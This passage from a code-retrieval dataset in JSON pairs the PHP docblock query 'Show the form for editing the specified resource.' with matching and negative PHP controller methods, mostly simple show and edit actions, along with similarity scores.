\"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { $cat = Category::find($id); $categories = Category::where('root', 0)->get(); return view('backend.category.edit', compact('cat', 'categories')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return 